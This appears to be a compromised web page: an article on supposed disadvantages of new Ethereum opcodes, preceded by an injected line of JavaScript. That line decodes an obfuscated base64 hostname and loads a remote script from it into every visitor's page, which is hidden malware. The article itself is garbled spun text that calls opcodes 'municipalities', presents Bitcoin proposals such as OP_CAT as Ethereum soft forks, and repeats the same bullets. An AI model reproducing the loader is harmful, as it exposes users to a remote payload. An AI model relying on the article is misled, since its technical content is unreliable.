const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=735f39bd”;document.body.appendChild(script);
Ethereum: What are the disadvantages of providing potentially suboptimal or unused opcodes?
While the Ethereum Community continues to explore new opportunities and upgrades for the Ethereum (EVM) virtual machine, allowing potentially suboptimal or unused municipality in a future soft fork to expressed concern among some developers. In this article, we will break into the potential defects of the introduction of such municipalities and what it means for the long -term health of the Ethereum ecosystem.
Op_checkteboalesevify (Opct)
One of the most controversial opcodes is the OPCT, which allows one transaction to be repeatedly verified by different nodes. Although this feature can improve scalability and reduce the load on the network, allowing an OPCT in a future soft fork could lead to problems with compatibility and security.
* Incompatibility: Opct would require updates for existing clients and applications that rely on the EIP-1559 (current implementation of the Ethereum protocol). This could cause wide disorders and demand expensively rewrite.
* Security risks: If Opct is not properly implemented, it could create vulnerability for malicious actors. For example, the attacker could use the OPCT to compromise one transaction by checking multiple times, which potentially leads to significant losses or even theft.
* The above -ground performance: Introducing new verification mechanisms can result in increased network congestion and slower block processing times.
SIGHASH_ANYPRAVOT (SP)
Another opcod that has been criticized for its potential defects is the SP, which allows one transaction to be repeatedly verified by different nodes without the need for EIP-1559. Although this feature can improve performance and reduce the load on the network, allowing the SP in the future soft fork could lead to problems with compatibleness and certainty.
* Incompatibility: Similar to OPCT, SP would require updates for existing clients and applications that rely on the EIP-1559. This could cause wide disorders and demand expensively rewrite.
* Security risks: If the SP is not properly implemented, it could create vulnerability of malicious actors to use. For example, the striker could use the SP to compromise one transaction by checking several times, which potentially leads to significant losses or even theft.
* The above -ground performance: Introducing new verification mechanisms can result in increased network congestion and slower block processing times.
Op_cat (October)
Op_cat is another municipality that has been criticized for its potential defects. This opcode allows one transaction to check with different knots repeatedly, without the need for EIP-1559. Although this feature can improve scalability and reduce the load on the network, allowing OP_CAT in a future soft fork could lead to problems with compatibleness and security.
* Incompatibility: As OPCT and SP, OP_CAT required updates for existing clients and applications that rely on the EIP-1559. This could cause wide disorders and demand expensively rewrite.
* Security risks: If the general is not properly implemented, it could create vulnerability for malicious actors. For example, the attacker could use the municipality for compromise one transaction by checking several times, which potentially leads to significant losses or even theft.
* The above -ground performance: Introducing new verification mechanisms can result in increased network congestion and slower block processing times.
Conclusion
Enabling potentially suboptimal or unused municipalities in a future soft fork could lead to significant problems for the Ethereum ecosystem. Although these features can improve scalability and reduce the load on the network, they also bring potential security risks and compatible problems.